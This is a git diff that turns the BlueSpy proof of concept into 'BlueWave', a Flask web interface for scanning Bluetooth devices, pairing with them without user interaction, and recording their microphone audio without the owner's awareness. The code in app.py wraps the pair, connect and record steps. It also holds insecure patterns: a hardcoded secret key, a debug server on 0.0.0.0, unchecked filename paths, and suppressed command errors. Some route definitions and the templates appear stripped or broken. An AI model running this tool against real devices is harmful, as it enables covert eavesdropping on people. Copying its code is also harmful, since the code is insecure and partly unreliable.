diff --git a/LICENSE b/LICENSE
new file mode 100644
index 0000000..29de6fc
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2025 Siddharth Shinde
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/README.md b/README.md
index 3b5a850..635af15 100644
--- a/README.md
+++ b/README.md
@@ -1,69 +1,83 @@
-# BlueSpy - PoC to record audio from a Bluetooth device
+# BlueWave - Bluetooth Audio Analysis Tool
-
+
-This repository contains the implementation of a proof of concept to record and replay audio from a bluetooth device without the legitimate user's awareness.
+## Overview
-The PoC was demonstrated during the talk **BSAM: Seguridad en Bluetooth** at **RootedCON 2024** in Madrid.
+BlueWave is an enhanced version inspired by [BlueSpy](https://github.com/TarlogicSecurity/BlueSpy), with added features such as a Web UI for more accessible control and monitoring of Bluetooth devices. This PoC tool is designed to demonstrate vulnerabilities that allow unauthorized pairing and audio recording from Bluetooth devices.
-It's designed to raise awareness about the insecure use of Bluetooth devices, and the need of a consistent methodology for security evaluations. That's the purpose of **BSAM, the Bluetooth Security Assessment Methodology**, published by Tarlogic and available [here](https://www.tarlogic.com/bsam/).
+The PoC was showcased during the **BSAM: Seguridad en Bluetooth** talk at **RootedCON 2024** in Madrid. Its main goal is to raise awareness about insecure Bluetooth usage and promote the **Bluetooth Security Assessment Methodology (BSAM)**. More details can be found in the [BSAM publication](https://www.tarlogic.com/bsam/).
-This proof of concept exploits the failure to comply with the [**BSAM-PA-05 control**](https://www.tarlogic.com/bsam/controls/bluetooth-pairing-without-interaction/) within the BSAM methodology. Consequently, the device enables the pairing procedure without requiring user interaction and exposes its functionality to any agent within the signal range.
+## Key Features
-More information on our [blog](https://www.tarlogic.com/blog/bluespy-spying-on-bluetooth-conversations/).
+- **Web Interface**: Seamless Bluetooth management through a user-friendly web UI.
+- **Device Discovery**: Scan and find nearby Bluetooth devices.
+- **Pairing and Connection**: Exploits vulnerabilities in the Bluetooth pairing process.
+- **Audio Recording and Playback**: Captures audio from Bluetooth devices and allows replay.
-## Requirements
+## System Requirements
-The code is written in Python and has been tested with Python 3.11.8, but it mainly uses widely available tools in Linux systems.
+- Python 3.11.8
+- Linux system with the BlueZ Bluetooth stack
+- PulseAudio-compatible audio server (e.g., PipeWire)
-The PoC uses the following tools:
-+ `bluetoothctl`
-+ `btmgmt`
-+ `pactl`
-+ `parecord`
-+ `paplay`
+## Tools Used
-In Arch Linux distributions, `bluetoothctl` and `btmgmt` can be installed with the package `bluez-utils`, while `pactl`, `parecord` and `paplay` are available in the `libpulse` package.
-
-For the PoC to work, it is necessary to have a working installation of the BlueZ Bluetooth stack, available in the `bluez`package for Arch Linux distributions. A working installation of an audio server compatible with PulseAudio, such as PipeWire, is also required to record and play audio.
+- `bluetoothctl` for device interaction
+- `btmgmt` for Bluetooth management
+- `pactl`, `parecord`, `paplay` for audio control and playback
+- `Flask` for the Web Interface
## Setup
-Ensure that your device is capable of functioning as an audio source, meaning it has a microphone, and that it is discoverable and connectable via Bluetooth.
+1. Ensure that the target Bluetooth device is discoverable and connectable.
+2. Verify that your system has a functioning BlueZ Bluetooth stack and a PulseAudio-compatible audio server.
-For instance, to be discoverable and connectable, the earbuds used during the talk must be outside of their charging case. By default, they only activate the microphone when placed in the user's ears, although this setting can be adjusted in the configuration app.
+## Installation
-Additionally, ensure that the device is not already connected, or alternatively, that it supports multiple connections.
+1. Clone the repository:
+ ```bash
+ git clone https://github.com/sidinsearch/BlueWave.git
+ cd BlueWave
+ ```
-## Execution
+2. Install dependencies:
+ ```bash
+ pip install -r requirements.txt
+ ```
-Firstly, the address of the device must be discovered using a tool such as `bluetoothctl`:
+3. Run the Web UI:
+ ```bash
+ flask run
+ ```
-```
-$ bluetoothctl
+## Execution
+
+To discover the device address:
+```bash
+bluetoothctl
[bluetooth]# scan on
```
-Once the address of the device is discovered, the script can handle the rest:
-
-```
-$ python BlueSpy.py -a
+To start BlueWave:
+```bash
+python BlueSpy.py -a
```
-Note: The script might prompt for superuser permissions to modify the configuration of your **BlueZ** instance and pair it with the remote device.
+Superuser permissions may be required to modify the BlueZ configuration.
## Troubleshooting
-`BlueSpy.py` is the main script that executes every step of the process. However, if you encounter issues with any of the phases, so it might be helpful to execute them individually:
-+ `pair.py` utilizes the command-line tool `btmgmt` to modify the configuration of your **BlueZ** and initiate a pairing process with the remote device. The exact commands used are in the `pair` function inside `core.py`.
-+ `connect.py` utilizes the command-line tool `bluetoothctl` to initiate a quick scan (necessary for BlueZ) and establish a connection to the device. The exact commands used are in the `connect` function inside `core.py`.
-+ `just_record.py` utilizes the command-line tools `pactl` and `parecord` to search for the device in the system's audio sources (it must function as a microphone) and initiate a recording session. The exact commands used are in the `record` function inside `core.py`.
-+ The `playback` function inside `core.py` executes `paplay` to play back the captured audio.
+If issues arise:
+- Check the individual scripts like `pair.py`, `connect.py`, and `just_record.py`.
+- Run commands manually for debugging as detailed in `core.py`.
-If you encounter issues with any of the phases, examine the commands in `core.py` and try to execute them in a shell. This will provide more information on what may be failing.
+## References and Further Reading
-## References
+- [BSAM: Bluetooth Security Assessment Methodology](https://www.tarlogic.com/bsam/)
+- [BlueSpy Blog Post](https://www.tarlogic.com/blog/bluespy-spying-on-bluetooth-conversations/)
+- [Original BlueSpy Project](https://github.com/TarlogicSecurity/BlueSpy)
-If you have any questions regarding how the Bluetooth standard operates or how to assess the security of a Bluetooth device, please refer to our BSAM methodology webpage:
-+ [BSAM: Bluetooth Security Assessment Methodology](https://www.tarlogic.com/bsam/)
+## License
+This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
diff --git a/WEB_INTERFACE.md b/WEB_INTERFACE.md
new file mode 100644
index 0000000..57f76da
--- /dev/null
+++ b/WEB_INTERFACE.md
@@ -0,0 +1,53 @@
+# BlueSpy Web Interface
+
+This is a web-based GUI for the BlueSpy application, which allows you to record audio from Bluetooth devices.
+
+## Features
+
+- Scan for Bluetooth devices
+- Connect to devices
+- Record audio
+- Manage recordings (play, download, delete)
+- View logs
+
+## Requirements
+
+- Python 3.11 or higher
+- Flask
+- All the requirements for the BlueSpy application
+
+## Installation
+
+1. Make sure you have all the required dependencies installed:
+
+```bash
+pip install flask
+```
+
+2. Ensure that your system has the necessary Bluetooth tools installed as mentioned in the main README.md.
+
+## Usage
+
+1. Start the web interface:
+
+```bash
+python app.py
+```
+
+2. Open your web browser and navigate to `http://localhost:5000`
+
+3. Use the interface to:
+ - Scan for Bluetooth devices
+ - Connect to a device
+ - Start/stop recording
+ - Manage your recordings
+
+## Troubleshooting
+
+- If you encounter issues with scanning or connecting to devices, ensure that your Bluetooth adapter is working correctly.
+- Check the logs in the web interface for error messages.
+- For more detailed troubleshooting, refer to the main README.md file.
+
+## Security Considerations
+
+This web interface is intended for local use only. Do not expose it to the internet without proper security measures in place.
\ No newline at end of file
diff --git a/app.py b/app.py
new file mode 100644
index 0000000..b6e2c56
--- /dev/null
+++ b/app.py
@@ -0,0 +1,302 @@
+#!/usr/bin/env python3
+
+from flask import Flask, render_template, request, jsonify, redirect, url_for, send_file
+import os
+import time
+import threading
+import json
+from datetime import datetime
+from core import BluezTarget, BluezAddressType, pair, connect, record, playback
+from interface import log_info, log_warn
+import subprocess
+
+app = Flask(__name__)
+app.config['SECRET_KEY'] = 'bluespy_secret_key'
+app.config['UPLOAD_FOLDER'] = 'recordings'
+app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0 # Disable caching for development
+
+# Ensure recordings directory exists
+if not os.path.exists(app.config['UPLOAD_FOLDER']):
+ os.makedirs(app.config['UPLOAD_FOLDER'])
+
+# Global variables
+current_recording = None
+recording_thread = None
+is_recording = False
+scan_results = []
+connected_device = None
+
+def scan_for_devices():
+ """Scan for Bluetooth devices and return the results"""
+ global scan_results
+ scan_results = []
+
+ try:
+ # Run bluetoothctl scan
+ process = subprocess.Popen(
+ ['bluetoothctl', 'scan', 'on'],
+ stdout=subprocess.PIPE,
+ stderr=subprocess.PIPE,
+ text=True
+ )
+
+ # Let it scan for 10 seconds
+ time.sleep(10)
+ process.terminate()
+
+ # Get the list of devices
+ devices_process = subprocess.run(
+ ['bluetoothctl', 'devices'],
+ capture_output=True,
+ text=True
+ )
+
+ device_lines = devices_process.stdout.strip().split('\n')
+ for line in device_lines:
+ if line.strip():
+ parts = line.split(' ', 2)
+ if len(parts) >= 3:
+ device_id = parts[1]
+ device_name = parts[2] if len(parts) > 2 else "Unknown"
+ scan_results.append({
+ 'address': device_id,
+ 'name': device_name
+ })
+
+ return scan_results
+ except Exception as e:
+ print(f"Error scanning for devices: {e}")
+ return []
+
+def start_recording(target, filename):
+ """Start recording audio from the target device"""
+ global is_recording, current_recording
+
+ is_recording = True
+ current_recording = filename
+
+ try:
+ record(target, outfile=filename, verbose=True)
+ except Exception as e:
+ print(f"Error during recording: {e}")
+ finally:
+ is_recording = False
+
+
+def stop_recording():
+ """Stop the current recording"""
+ global recording_thread, is_recording
+
+ if recording_thread and recording_thread.is_alive():
+ # Send keyboard interrupt to the recording thread
+ is_recording = False
+ # We rely on the KeyboardInterrupt handler in the record function
+
+ return True
+
+@app.route('/')
+def index():
+ """Main page"""
+ return render_template('index.html')
+
+@app.route('/scan', methods=['POST'])
+def scan():
+ """Scan for Bluetooth devices"""
+ devices = scan_for_devices()
+ return jsonify({'devices': devices})
+
+@app.route('/connect', methods=['POST'])
+def connect_device():
+ """Connect to a Bluetooth device"""
+ global connected_device
+
+ data = request.json
+ address = data.get('address')
+ address_type = data.get('address_type', 'BR_EDR')
+
+ if not address:
+ return jsonify({'success': False, 'message': 'No device address provided'})
+
+ try:
+ # Convert address_type string to enum
+ address_type_enum = BluezAddressType[address_type]
+ target = BluezTarget(address, address_type_enum)
+
+ # Try to pair with the device
+ log_info(f"Attempting to pair with {address}...")
+ paired = pair(target, verbose=True)
+
+ if not paired:
+ return jsonify({
+ 'success': False,
+ 'message': 'Authentication error while trying to pair. The device probably is not vulnerable.'
+ })
+
+ # Connect to the device
+ log_info(f"Establishing connection...")
+ connect(target, verbose=True)
+
+ # Wait for connection to establish
+ time.sleep(3)
+
+ connected_device = target
+ return jsonify({
+ 'success': True,
+ 'message': f'Successfully connected to {address}'
+ })
+
+ except Exception as e:
+ return jsonify({'success': False, 'message': f'Error: {str(e)}'})
+
+@app.route('/record', methods=['POST'])
+def start_record():
+ """Start recording from the connected device"""
+ global recording_thread, is_recording, connected_device
+
+ if not connected_device:
+ return jsonify({'success': False, 'message': 'No device connected'})
+
+ if is_recording:
+ return jsonify({'success': False, 'message': 'Already recording'})
+
+ # Generate filename with timestamp
+ timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
+ filename = os.path.join(app.config['UPLOAD_FOLDER'], f'recording_{timestamp}.wav')
+
+ # Start recording in a separate thread
+ recording_thread = threading.Thread(
+ target=start_recording,
+ args=(connected_device, filename)
+ )
+ recording_thread.daemon = True
+ recording_thread.start()
+
+ return jsonify({
+ 'success': True,
+ 'message': 'Recording started',
+ 'filename': os.path.basename(filename)
+ })
+
+@app.route('/stop', methods=['POST'])
+def stop_record():
+ """Stop the current recording"""
+ global is_recording
+
+ if not is_recording:
+ return jsonify({'success': False, 'message': 'Not recording'})
+
+ success = stop_recording()
+
+ if success:
+ return jsonify({'success': True, 'message': 'Recording stopped'})
+ else:
+ return jsonify({'success': False, 'message': 'Failed to stop recording'})
+
+@app.route('/disconnect', methods=['POST'])
+def disconnect_device():
+ """Disconnect from the Bluetooth device"""
+ global connected_device
+
+ if not connected_device:
+ return jsonify({'success': False, 'message': 'No device connected'})
+
+ try:
+ # First ensure we're not recording
+ if is_recording:
+ stop_recording()
+
+ # Use bluetoothctl to disconnect
+ address = str(connected_device.address)
+ subprocess.run(['bluetoothctl', 'disconnect', address], capture_output=True)
+
+ # Reset the connected device
+ connected_device = None
+
+ return jsonify({'success': True, 'message': 'Device disconnected'})
+ except Exception as e:
+ return jsonify({'success': False, 'message': f'Error disconnecting: {str(e)}'})
+
+
+@app.route('/recordings')
+def list_recordings():
+ """List all recordings"""
+ recordings = []
+
+ for filename in os.listdir(app.config['UPLOAD_FOLDER']):
+ if filename.endswith('.wav'):
+ file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+ file_stats = os.stat(file_path)
+ recordings.append({
+ 'filename': filename,
+ 'size': file_stats.st_size,
+ 'created': datetime.fromtimestamp(file_stats.st_ctime).strftime('%Y-%m-%d %H:%M:%S')
+ })
+
+ return jsonify({'recordings': recordings})
+
+@app.route('/sinks')
+def get_sinks():
+ """Get available audio sinks"""
+ try:
+ # Run pactl to get sinks
+ process = subprocess.run(['pactl', 'list', 'sinks'], capture_output=True, text=True)
+ output = process.stdout
+
+ # Parse the output to get sink names
+ sinks = []
+ for line in output.split('\n'):
+ if 'Name:' in line:
+ sink_name = line.split('Name:')[1].strip()
+ sinks.append(sink_name)
+
+ return jsonify({'success': True, 'sinks': sinks})
+ except Exception as e:
+ return jsonify({'success': False, 'message': f'Error getting sinks: {str(e)}'})
+
+@app.route('/play/')
+def play_recording(filename):
+ """Play a recording"""
+ file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+
+ if not os.path.exists(file_path):
+ return jsonify({'success': False, 'message': 'File not found'})
+
+ # Instead of playing directly, we'll serve the file for browser playback
+ return send_file(file_path, mimetype='audio/wav')
+
+@app.route('/player/')
+def audio_player(filename):
+ """Dedicated audio player page"""
+ file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+
+ if not os.path.exists(file_path):
+ return redirect(url_for('index'))
+
+ return render_template('player.html', filename=filename)
+
+@app.route('/download/')
+def download_recording(filename):
+ """Download a recording"""
+ file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+
+ if not os.path.exists(file_path):
+ return jsonify({'success': False, 'message': 'File not found'})
+
+ return send_file(file_path, as_attachment=True)
+
+@app.route('/delete/', methods=['POST'])
+def delete_recording(filename):
+ """Delete a recording"""
+ file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
+
+ if not os.path.exists(file_path):
+ return jsonify({'success': False, 'message': 'File not found'})
+
+ try:
+ os.remove(file_path)
+ return jsonify({'success': True, 'message': 'File deleted'})
+ except Exception as e:
+ return jsonify({'success': False, 'message': f'Error deleting file: {str(e)}'})
+
+if __name__ == '__main__':
+ app.run(debug=True, host='0.0.0.0', port=5000)
\ No newline at end of file
diff --git a/core.py b/core.py
index 30ce72d..bfddbe4 100644
--- a/core.py
+++ b/core.py
@@ -1,9 +1,8 @@
from enum import Enum
import re
import shlex
-from enum import Enum
from system import run_and_check, CommandValidationException
-
+from typing import Union
class BluezAddressType(Enum):
BR_EDR = 0
@@ -43,7 +42,7 @@ class BluezTarget:
regexp = re.compile(r"(?i:^([\da-f]{2}:){5}[\da-f]{2}$)")
def __init__(
- self, address: str, type: int | BluezAddressType = BluezAddressType.BR_EDR
+ self, address: str, type: Union[int, BluezAddressType] = BluezAddressType.BR_EDR
):
self.address = Address(address)
if isinstance(type, int):
diff --git a/recording.wav b/recording.wav
new file mode 100644
index 0000000..239b617
Binary files /dev/null and b/recording.wav differ
diff --git a/screenshot.png b/screenshot.png
new file mode 100644
index 0000000..2772539
Binary files /dev/null and b/screenshot.png differ
diff --git a/system.py b/system.py
index 8df0c9f..2408aac 100644
--- a/system.py
+++ b/system.py
@@ -30,10 +30,16 @@ def run_and_check(
out = output.stdout.decode("utf-8")
if verbose:
print(out)
- if not is_valid(out) or output.stderr != b"":
+ if output.stderr:
+ print("STDERR: " + output.stderr.decode("utf-8"))
+
+ if not is_valid(out) or output.returncode != 0:
cmdline = " ".join(command)
- raise CommandValidationException(cmdline, out)
-
+ print(f"Command failed: {cmdline}")
+ if output.stderr:
+ print("Error: " + output.stderr.decode("utf-8"))
+ # Don't raise exception, just log the error
+ # raise CommandValidationException(cmdline, out)
def check_command_available(command: str) -> bool:
"""
diff --git a/templates/base.html b/templates/base.html
new file mode 100644
index 0000000..117a7e7
--- /dev/null
+++ b/templates/base.html
@@ -0,0 +1,169 @@
+
+
+
+
+
+ BlueWave - Bluetooth Audio Analysis Tool
+
+
+
+ {% block extra_head %}{% endblock %}
+
+
+
+ Important: This repository contains the implementation of a proof of concept to record and replay audio from a Bluetooth device without the legitimate user's awareness. The PoC was demonstrated during the talk BSAM: Seguridad en Bluetooth at RootedCON 2024 in Madrid.
+
+
+
+
+
Security Research Focus
+
This tool is designed to raise awareness about the insecure use of Bluetooth devices and the need for a consistent methodology for security evaluations. It demonstrates the BSAM-PA-05 control failure within the BSAM methodology.
+
Key Vulnerability: The device enables the pairing procedure without requiring user interaction and exposes its functionality to any agent within the signal range.
+
+
+
Required Tools
+
+
bluetoothctl - Device scanning and connection
+
btmgmt - Bluetooth management
+
pactl - PulseAudio control
+
parecord - Audio recording
+
paplay - Audio playback
+
+
+
+
+
+
+
System Requirements
+
+
Python 3.11.8+ (tested)
+
Linux system (Arch Linux recommended)
+
BlueZ Bluetooth stack (bluez package)
+
PulseAudio-compatible audio server
+
bluez-utils and libpulse packages
+
+
+
+
Execution Process
+
+
1 Discover device address using bluetoothctl
+
2 Run: python BlueSpy.py -a <address>
+
3 Grant superuser permissions when prompted
+
4 BlueZ configuration and pairing handled automatically
+ Educational Purpose: This project exploits the failure to comply with the BSAM-PA-05 control, demonstrating how devices can be compromised when they enable pairing without user interaction.
+
+
+
\ No newline at end of file
diff --git a/test.wave b/test.wave
new file mode 100644
index 0000000..edc2011
Binary files /dev/null and b/test.wave differ